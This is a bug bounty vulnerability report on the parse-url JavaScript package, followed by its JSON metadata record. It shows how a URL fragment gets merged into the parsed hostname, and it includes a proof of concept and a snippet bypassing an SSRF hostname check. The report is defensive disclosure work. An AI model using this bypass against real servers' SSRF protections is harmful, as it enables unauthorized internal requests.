Description
# Description
When to use the parse-url, If user put the `https://google.com#hashvalue` as argument, parse-url doesn't parse the hash value and parses hostname and hash together as hostname. `http://localhost/#hashvalue` and `http://localhost#hashvalue` are the same..
```txt
- new URL() of node
❯ node -e 'console.log(new URL("http://localhost#hashvalue"))'
URL {
href: 'http://localhost/#hashvalue',
origin: 'http://localhost',
protocol: 'http:',
username: '',
password: '',
host: 'localhost',
hostname: 'localhost',
port: '',
pathname: '/',
search: '',
searchParams: URLSearchParams {},
hash: '#hashvalue'
}
- url-parse of node
❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost#hashvalue'))"
{
slashes: true,
protocol: 'http:',
hash: '#hashvalue',
query: '',
pathname: '/',
auth: '',
host: 'localhost',
port: '',
hostname: 'localhost',
password: '',
username: '',
origin: 'http://localhost',
href: 'http://localhost/#hashvalue'
}
- urllib.parse of python
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse('http://localhost#hashvalue')
ParseResult(scheme='http', netloc='localhost', path='', params='', query='', fragment='hashvalue')
>>>
- parse_url of php
❯ php -a
Interactive shell
php > $arr_url=parse_url('http://localhost#hashvalue');
php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";}
[scheme] : http
[host] : localhost
[fragment] : hashvalue
php >
```
It should be parsed as above. That way the vulnerability doesn't occur.
# Proof of Concept
```sh
❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost#hashvalue"))'
{
protocols: [ 'http' ],
protocol: 'http',
port: null,
resource: 'localhost#hashvalue',
user: '',
pathname: '',
hash: '',
search: '',
href: 'http://localhost#hashvalue',
query: [Object: null prototype] {}
}
```
# Impact
```javascript
const parseUrl = require("parse-url")
const http = require("http")
parsed = parseUrl('http://localhost#hashvalue')
if (parsed.resource== 'localhost') {
console.log('WAF!!!')
} else {
console.log('bypass!!')
console.log(http.get(parsed.href))
}
```
```txt
OutPut
bypass!!
ClientRequest {
_events: [Object: null prototype] {},
_eventsCount: 0,
_maxListeners: undefined,
outputData: [
{
data: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
encoding: 'latin1',
callback: [Function: bound onFinish]
}
],
outputSize: 54,
writable: true,
destroyed: false,
_last: true,
chunkedEncoding: false,
shouldKeepAlive: false,
maxRequestsOnConnectionReached: false,
_defaultKeepAlive: true,
useChunkedEncodingByDefault: false,
sendDate: false,
_removedConnection: false,
_removedContLen: false,
_removedTE: false,
_contentLength: 0,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
_closed: false,
socket: null,
_header: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
_keepAliveTimeout: 0,
_onPendingData: [Function: nop],
agent: Agent {
_events: [Object: null prototype] {
free: [Function (anonymous)],
newListener: [Function: maybeEnableKeylog]
},
_eventsCount: 2,
_maxListeners: undefined,
defaultPort: 80,
protocol: 'http:',
options: [Object: null prototype] { path: null },
requests: [Object: null prototype] {},
sockets: [Object: null prototype] { 'localhost:80:': [Array] },
freeSockets: [Object: null prototype] {},
keepAliveMsecs: 1000,
keepAlive: false,
maxSockets: Infinity,
maxFreeSockets: 256,
scheduling: 'lifo',
maxTotalSockets: Infinity,
totalSocketCount: 1,
[Symbol(kCapture)]: false
},
socketPath: undefined,
method: 'GET',
maxHeaderSize: undefined,
insecureHTTPParser: undefined,
path: '/',
_ended: false,
res: null,
aborted: false,
timeoutCb: null,
upgradeOrConnect: false,
parser: null,
maxHeadersCount: null,
reusedSocket: false,
host: 'localhost',
protocol: 'http:',
[Symbol(kCapture)]: false,
[Symbol(kNeedDrain)]: false,
[Symbol(corked)]: 0,
[Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] }
}
```
When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.
{"id": "4CEC9ED3-CD40-48EB-A5BF-C5D586F7CE66", "vendorId": null, "type": "huntr", "bulletinFamily": "bugbounty", "title": "hostname spoofing via Improper Input Validation", "description": "# Description\nWhen to use the parse-url, If user put the `https://google.com#hashvalue` as argument, parse-url doesn't parse the hash value and parses hostname and hash together as hostname. `http://localhost/#hashvalue` and `http://localhost#hashvalue` are the same..\n\n```txt\n- new URL() of node\n\u276f node -e 'console.log(new URL(\"http://localhost#hashvalue\"))'\nURL {\n href: 'http://localhost/#hashvalue',\n origin: 'http://localhost',\n protocol: 'http:',\n username: '',\n password: '',\n host: 'localhost',\n hostname: 'localhost',\n port: '',\n pathname: '/',\n search: '',\n searchParams: URLSearchParams {},\n hash: '#hashvalue'\n}\n\n- url-parse of node\n\u276f node -e \"const parser = require('url-parse');console.log(parser('http://localhost#hashvalue'))\"\n{\n slashes: true,\n protocol: 'http:',\n hash: '#hashvalue',\n query: '',\n pathname: '/',\n auth: '',\n host: 'localhost',\n port: '',\n hostname: 'localhost',\n password: '',\n username: '',\n origin: 'http://localhost',\n href: 'http://localhost/#hashvalue'\n}\n\n- urllib.parse of python\n\u276f python3\nPython 3.9.10 (main, Jan 15 2022, 11:48:04)\n[Clang 13.0.0 (clang-1300.0.29.3)] on darwin\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> from urllib.parse import urlparse\n>>> urlparse('http://localhost#hashvalue')\nParseResult(scheme='http', netloc='localhost', path='', params='', query='', fragment='hashvalue')\n>>>\n\n- parse_url of php\n\u276f php -a\nInteractive shell\n\nphp > $arr_url=parse_url('http://localhost#hashvalue');\nphp > foreach($arr_url as $key=>$data){ echo \"[\".$key.\"] : \".$data.\"\\n\";}\n[scheme] : http\n[host] : localhost\n[fragment] : hashvalue\nphp >\n```\nIt should be parsed as above. That way the vulnerability doesn't occur.\n\n # Proof of Concept\n```sh\n\u276f node -e 'const parseUrl = require(\"parse-url\"); console.log(parseUrl(\"http://localhost#hashvalue\"))'\n{\n protocols: [ 'http' ],\n protocol: 'http',\n port: null,\n resource: 'localhost#hashvalue',\n user: '',\n pathname: '',\n hash: '',\n search: '',\n href: 'http://localhost#hashvalue',\n query: [Object: null prototype] {}\n}\n```\n# Impact\n```javascript\nconst parseUrl = require(\"parse-url\")\nconst http = require(\"http\")\n\nparsed = parseUrl('http://localhost#hashvalue')\nif (parsed.resource== 'localhost') {\n\tconsole.log('WAF!!!')\n} else {\n\tconsole.log('bypass!!')\n\tconsole.log(http.get(parsed.href))\n}\n```\n```txt\nOutPut\n\nbypass!!\nClientRequest {\n _events: [Object: null prototype] {},\n _eventsCount: 0,\n _maxListeners: undefined,\n outputData: [\n {\n data: 'GET / HTTP/1.1\\r\\nHost: localhost\\r\\nConnection: close\\r\\n\\r\\n',\n encoding: 'latin1',\n callback: [Function: bound onFinish]\n }\n ],\n outputSize: 54,\n writable: true,\n destroyed: false,\n _last: true,\n chunkedEncoding: false,\n shouldKeepAlive: false,\n maxRequestsOnConnectionReached: false,\n _defaultKeepAlive: true,\n useChunkedEncodingByDefault: false,\n sendDate: false,\n _removedConnection: false,\n _removedContLen: false,\n _removedTE: false,\n _contentLength: 0,\n _hasBody: true,\n _trailer: '',\n finished: true,\n _headerSent: true,\n _closed: false,\n socket: null,\n _header: 'GET / HTTP/1.1\\r\\nHost: localhost\\r\\nConnection: close\\r\\n\\r\\n',\n _keepAliveTimeout: 0,\n _onPendingData: [Function: nop],\n agent: Agent {\n _events: [Object: null prototype] {\n free: [Function (anonymous)],\n newListener: [Function: maybeEnableKeylog]\n },\n _eventsCount: 2,\n _maxListeners: undefined,\n defaultPort: 80,\n protocol: 'http:',\n options: [Object: null prototype] { path: null },\n requests: [Object: null prototype] {},\n sockets: [Object: null prototype] { 'localhost:80:': [Array] },\n freeSockets: [Object: null prototype] {},\n keepAliveMsecs: 1000,\n keepAlive: false,\n maxSockets: Infinity,\n maxFreeSockets: 256,\n scheduling: 'lifo',\n maxTotalSockets: Infinity,\n totalSocketCount: 1,\n [Symbol(kCapture)]: false\n },\n socketPath: undefined,\n method: 'GET',\n maxHeaderSize: undefined,\n insecureHTTPParser: undefined,\n path: '/',\n _ended: false,\n res: null,\n aborted: false,\n timeoutCb: null,\n upgradeOrConnect: false,\n parser: null,\n maxHeadersCount: null,\n reusedSocket: false,\n host: 'localhost',\n protocol: 'http:',\n [Symbol(kCapture)]: false,\n [Symbol(kNeedDrain)]: false,\n [Symbol(corked)]: 0,\n [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] }\n}\n```\nWhen the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.", "published": "2022-03-11T17:26:52", "modified": "2022-03-13T16:54:18", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.huntr.dev/bounties/4cec9ed3-cd40-48eb-a5bf-c5d586f7ce66/", "reporter": "p0cas", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2022-06-27T12:03:43", "viewCount": 2, "enchantments": {"score": {"value": -0.3, "vector": "NONE"}, "vulnersScore": -0.3}, "_state": {"score": 1659865730, "dependencies": 1660016946}, "_internal": {"score_hash": "70a61a22f16baf15e7c3a5131298f473"}, "status": "valid", "cwe_id": "115", "repository": "https://github.com/ionicabizau/parse-url", "language": "JavaScript", "patch_commit_sha": "21c72ab9412228eea753e2abc48f8962707b1fe3"}
{}